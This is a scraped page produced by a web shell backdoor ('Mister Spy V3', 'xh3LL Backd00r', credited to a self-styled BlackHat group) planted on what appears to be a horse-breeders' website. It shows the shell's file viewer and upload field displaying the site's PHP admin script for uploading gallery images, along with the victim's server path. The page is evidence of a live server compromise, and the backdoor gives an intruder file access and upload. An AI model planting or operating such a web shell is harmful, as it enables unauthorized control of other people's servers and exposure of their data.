Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/json-galleryimage-add.php

<?php
error_reporting(E_ERROR | E_PARSE);
session_cache_limiter('private-no-cache');
session_cache_expire(500);

require_once('../library/class.categorias.php'); 
require_once('../library/class.galeriaimagen.php');
require_once('../library/class.galeriaimagenes.php'); 
require_once('../library/class.image.php');
require_once('../library/class.session.php');

Session::Initialize();

header('Content-type: application/json');

/* obtenemos datos enviados */
$IdCategoria		= intval($_REQUEST['IdCategoria']);
$IdGaleria			= intval($_REQUEST['IdGaleria']);
$Cantidad			= intval($_REQUEST['Cantidad']);
$Submit				= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err		= 0;
$oCategorias		= new Categorias();
$oGaleriaImagenes 	= new GaleriaImagenes();
$currentUser 		= Session::GetCurrentUser();
	
/* si no hay ningun error... */	
if ($Submit)
{
	for ($j = 0; $j < $Cantidad; $j++)
	{	
		$Epigrafe 		= $_REQUEST['Epigrafe-' . $j];
		$Imagen 		= $_FILES['Imagen-' . $j];
		
		/* si no hay errores... */
		if ($Imagen['name'] != '')
		{
			if ($Imagen['error'] != 1)
			{
				$oUpload = new Image
				(
					$Imagen['name'], 
					$Imagen['tmp_name'], 
					$Imagen['size'], 
					$Imagen['type'], 
					array(GaleriaImagen::PathImageBig, GaleriaImagen::PathImageThumb),
					array('jpg', 'jpeg', 'gif', 'png'),				
					array(1200, 1200), 
					array(600, 600),
					array('Resize', 'Adaptive'),
					100
				);
		
				if ($oUpload->UploadImage())
				{
					$oGaleriaImagen 	= new GaleriaImagen();
					$oGaleriaImagen->IdGaleria			= $IdGaleria;
					$oGaleriaImagen->IdCategoria		= $IdCategoria;
					$oGaleriaImagen->Imagen 			= $oUpload->GetNombre();
					$oGaleriaImagen->Epigrafe 			= ($Epigrafe);
					$oGaleriaImagen->IdAdministrador	= $currentUser->IdAdministrador;
					$oGaleriaImagen->Aprobado 			= 0;
					
					if ($currentUser->IdPerfil == 1)
					{
						$oGaleriaImagen->Aprobado = 1;
						$oGaleriaImagen->FechaAprobado = date('d-m-Y H:i:s');
					}
					
					$oGaleriaImagen = $oGaleriaImagenes->Create($oGaleriaImagen);
				}
			}
		}
	}

	header('Content-type: application/json');
	echo json_encode(array("Success" => true, "Error" => ""));
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat